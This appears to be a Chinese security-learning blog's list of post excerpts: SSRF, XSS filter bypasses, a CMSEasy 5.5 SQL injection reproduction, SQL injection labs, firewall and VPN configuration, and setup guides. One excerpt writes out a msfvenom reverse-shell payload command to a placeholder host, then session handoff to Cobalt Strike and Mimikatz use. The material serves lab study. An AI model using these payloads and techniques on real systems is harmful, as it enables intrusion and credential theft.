- 博客(18)
- 收藏
- 关注
RSS订阅原创 ssrf漏洞复现
SSRF(Server-Side Request Forgery:服务器端请求伪造)是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下，SSRF是要目标网站的内部系统。（因为他是从内部系统访问的，所有可以通过它攻击外网无法访问的内部系统，也就是把目标网站当中间人）
2024-08-25 22:36:02
536
1
原创 dom破坏案例
看到input可以尝试引号闭合 并可以使用onclick函数点击触发，但这个函数是交互式的，需要点击才能触发，因此需要用到onfocus函数，并用autofocus进行主动对焦。因为小写的alert会过滤因此用大写，并用toLowerCase()将大写转换成小写，转换是过滤后执行不是过滤前执行。页面的值可以用id和name取出来，如果没有我们可以找其他的对其进行覆盖，对其进行重新取值，便可以取出。此题过滤了基本上是符号，也限制了长度50，也过滤了alert，可以通过构造函数去做。
2024-08-17 22:13:35
879
原创 cmseasy_5.5-SQL注入漏洞复现
由下面三幅图可知，Cookie安全码编码，加密，反序列化后就可以用getrow函数去使用数据库了。以未授权方式拿到Cookie安全码,并通过Cookie安全码拿到数据库中的账号和密码。注：这里的+和/都需要再次编码，不然会被url识别为空格进行截断，无法正常运行。在火狐上下载X-Forwarded-For Header插件。运行后得到先序列号，然后再加密后然后再编码后的一个值。注：此网站模板是开源的所以可以看到一些后台代码。进入后拿去 Cookie安全码。+变为%2b，/变为%2f。如下图所示，获取成功。
2024-08-12 01:52:32
1142
原创 sql注入
无论id对错，界面都没有显示所以用时间盲注，为真的时候页面沉睡3秒，为假不沉睡。因为updatexml长度是32字节，所以答案不全，需要自己去改长度。我这里是git库没装上，由于网的原因老是下载失败，所以没有运行成功。注：联合注入，id需要表中没有的，大部分情况下-1是表中没有的。第三关也是与前面类似，但现需要注意到是闭合是用 ' 单引号。第四关也是与前面类似，但现需要注意到是闭合是用 ' 单引号。先去完成条件，因为是自己搭建的所以直接改配置就行。与第九关类似，就闭合方式不同，闭合方式为 "
2024-08-05 22:37:34
1344
原创 防御保护基础----两个小实验
msfvenom -p windows/meterpreter/reverse_https LHOST=[Metasploit主机IP] LPORT=[选择的端口] -f exe > payload.exe。# 在Metasploit中，使用以下命令将会话传递到Cobalt Strike。# 在Metasploit中获取的会话上线到Cobalt Strike。# 在Cobalt Strike中上传Mimikatz到目标系统。# 在Cobalt Strike的命令行中执行Mimikatz。
2024-06-28 13:19:27
247
原创 防御保护基础思考
这两个模块分别代表了同一个密码的两种不同的加密方式。这种设计是为了保证系统的兼容性，即使在禁用了LM Hash的情况下，仍然可以生成一个固定的LM Hash值，以确保旧版本的软件或服务能够正常工作。第一个模块（LM Hash）永远是一样的aad3是为了确保系统在禁用LM Hash的情况下，仍然能够与旧版本的软件或服务保持兼容性，同时提高系统的安全性。在Windows系统中，通过hashdump抓取的用户密文分为两个模块，这是因为Windows系统使用了两种不同的密码哈希算法来存储用户密码的哈希值。
2024-05-28 20:20:11
1047
原创 Vmware虚拟机中三种网络模式
顾名思义，与路由协议的nat协议相似，把物理主机当成一道门，分割内网与外网，虚拟机属于内网，上网时需要去外网进行访问，而主机则用nat协议将虚拟机的IP转换为自己的去上网。与nat模式类似，但主机不会进行地址转换，因此不能上网。在物理主机建立之下的私网，虚拟机只能和在仅主机模式下的虚拟机和物理主机中实现通信，其他模式不行，也不能访问网络。虚拟机与物理主机搭桥建立联系，并与通过物理主机，与物理主机所连接的路由器取得联系，获得与物理主机相同网段的IP地址。
2024-05-16 20:37:35
481
1
原创 网络基础day2
Easy IP:实现原理和NAPT相同，同时转换IP地址、传输层端口，区别在于Easy lP没有地址池的概念，使用接口地址作为NAT转换的公有地址。
2024-05-02 23:28:17
163
1
原创 网络基础day1
后两者的区别是：hybrid允许多个vlan报文发送时不打标签。trunk只允许缺省vlan报文发送时不打标签。注：客户端发送所使用的是广播形式，服务器是单播（仅限是华为，思科的全是广播）： 允许多个vlan通过，可以接收和发送vlan报文，交换机和计算机都可以用。允许多个vlan通过，可以接收和发送vlan报文，一般用于交换机之间。：端口只能属于一个VLAN，一般用于连接计算机端口。
2024-05-01 21:23:02
351
原创 防御保护IPSec VPN综合实验
在fw5和fw3之间建立一条IPSec通道，保证10.0.2.0、24网段可以正常访问到192.168.1.0、24。
2024-03-08 19:51:41
544
原创 网络防御保护笔记
注意：这整个过程只能表示Bob收到的数据，的确是他拥有公钥的这个人发送的数据，但是，你拥有公钥有没有被别人恶意篡改或者替换，这种方法是无法识别出来的，所以，这仅能实现一种数据源的检测，不能进行身份认证。同时，可以完成完整性校验。
2024-02-28 21:10:42
1980
原创 防火墙功能技术
例如，防火墙可以根据实时的带宽使用情况和延迟来选择最佳的数据中心服务器，以提供更快的网站加载时间和更低的丢包率。接口对 --- “透明网线” --- 可以将两个接口绑定成为接口对，如果流量从一个接口进入，则必定从另一个接口出去，不需要查看MAC地址表。--- 其实一个接口也可以做接口对，从该。入网用户认证 --- 二层认证 --- 我们的设备在接入网络中，比如插入交换机或者接入wifi 后，需要进行认证才能正常使用网络。接入用户认证 --- 远程接入 --- VPN --- 主要是校验身份的合法性的。
2024-01-30 00:45:47
1280
1
原创 防火墙配置
2、办公区全天可以访问服务器区，其中，10.0.2.20可以访问FTP服务器和HTTP服务器，10.0.2.10仅可以ping通10.0.3.10。1、生产区在工作时间内可以访问服务区，仅可以访问http服务器。3、办公区在访问服务器区时采用匿名认证的方式进行上网行为管理。（注本实验是在上次防火墙的基础上进行配置）4、办公区设备可以访问公网，其他区域不行。4、FW1配置（web配置）
2024-01-27 09:49:55
1116
原创 防火墙USG6000V接口配置实验
注：进入时需要输入用户名及密码，默认用户名：admin 默认密码：Admin@123.输入完成后需要改写密码，我这里改写的密码为ADmin@.123。4、创建GE1/0/1的子接口（点击新建）3、在安全区域里面创建生产区和办公区。2、配置DMZ区即GE1/0/0接口。1、登录后在网络中配置接口。实现在防火墙下的互通。安照图片内容进行配置。
2024-01-25 13:37:52
1542
1
原创 信息安全概述
缓冲区溢出攻击原理 : 缓冲区溢出攻击利用编写不够严谨的程序，通过向程序的缓冲区写入超过预定长度的数据，造成缓存的溢出，从而破坏程序的堆栈，导致程序执行流程的改变。客观原因 : 受编程人员的能力，经验和当时安全技术所限，在程序中难免会有不足之处，轻则影响程序效率，重则导致非授权用户的权限提升。寻找程序漏洞-->编制缓冲区溢出程序-->精确控制跳转地址-->执行设定的代码-->获得系统权限或破坏系统。硬件原因 : 由于硬件原因，使编程人员无法弥补硬件的漏洞，从而使硬件的问题通过软件表现。用户：补丁、防火墙。
2024-01-22 20:10:47
1393
原创 Mysql.zip版安装
环境变量：右键点击此电脑，选择属性，找到并点击高级系统设置，打开环境变量，找到Path,双击进入在后面复制bin目录的绝对路径，点击确定。3.在主目录下建立my.ini文件，并修改其中的basedir和datadir。1.解压压缩包（注：解压到全英文目录下）2.将解压好后的bin目录放入环境变量中。4.以管理员命令打开cmd。
2023-09-21 13:22:14
130
原创 web前端
是用来检索、展示以及传递Web信息资源的应用程序。Web信息资源由统一资源标识符( Uniform Resource Identifier，URI)所标记，它是一张网页、一张图片、一段视频或者任何在Web上所呈现的内容。即渲染和呈现网页的软件。的全称为超文本标记语言，是一种标记语言。它包括一系列标签．通过这些标签可以将网络上的文档格式统一，使分散的Internet资源连接为一个逻辑整体。命令可以说明文字，图形、动画、声音、表格、链接等。它不是一个编程语言，而是一个描述性的文本。命令组成的描述性文本，
2022-10-22 21:01:50
161
原创 python安装教程
1、推荐网站：Python Source Releases | Python.orghttps://www.python.org/downloads/source/ 2、选择一个版本下载后，勾选后，点击第二个绿箭头 3、选项默认，勾选，点击红框的内容 4、最后按图勾选，选择合适的硬盘，然后点击安装即可 ...
2022-03-23 00:53:38
707
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人